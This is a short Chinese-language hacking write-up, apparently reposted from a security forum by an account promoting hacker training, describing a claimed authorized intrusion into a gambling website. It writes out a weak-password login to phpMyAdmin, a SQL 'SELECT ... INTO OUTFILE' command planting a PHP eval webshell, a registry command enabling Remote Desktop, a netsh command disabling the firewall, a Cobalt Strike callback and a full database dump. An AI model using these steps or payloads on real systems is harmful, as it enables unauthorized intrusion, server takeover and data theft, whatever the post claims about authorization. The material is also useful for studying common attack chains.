歡迎搜索公眾號：白帽子左一
每天分享更多黑客技能，工具及體系化視頻教程（免費領）
某種原因，接手了一個授權的bc站。
內心是拒絕的，但是沒辦法，硬著頭皮收下了。
其實都知道，bc站不是很好弄，在大佬眼里，可能就是掏出一個0day就進去了
但像我這種dd，只敢遠觀。
打開主頁，還算清新的畫風，比那些打開就這閃那閃花里胡哨的站舒服多了。
簡單的掃了一下目錄，掃出了兩個比較有用的的東西就是一個后臺，一個探針
見到后臺，廢話不多說，直接弱口令套餐來一份
得到的結果肯定是 密碼錯誤X1 密碼錯誤X2 密碼錯誤X3…………
算了，不浪費時間了，看一下探針~ 根據探針，得知網站的根目錄。
底下有phpmyadmin的連接測試
直接弱口令再來一套，root root 密碼錯誤
Root 123456 密碼錯 唉 不對 好像是連接成功了
激動的留下了眼淚
根據探針，得知phpmyadmin的后臺地址
Root 123456
登錄
Phpmyadmin進來了，網站根目錄也知道了，那還嘮啥了，直接拿shell了
直接執行sql語句
select'<?php @eval($_POST[pass]);?>' into outfile 'D:/xxx/xxx/xxx.php'
一句話連接上，
Whoami system ………… 沒意思啊，提權都不用了
通過查看服務器文件，得知后臺登陸密碼，登陸后臺
因為個人喜好，比較喜歡用cs，powshell上線
讀了一下密碼，直接遠程連接
但是
netstat -an ，沒開3389
開啟3389
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_Dword /d 00000000 /f
但是連接了一下，還是不行，用nmap掃描了一下端口，只有80端口開放
應該是開著防火墻
netsh firewall set opmode mode=disable 關閉防火墻
再連接3389 連接成功
根據瀏覽器歷史記錄，又發現另一個網站后臺
到現在其實沒啥了，直接數據庫打包~完活上交。
作者：T00ls-Azjj98
轉自：
https://www.t00ls.net/articles-56653.html
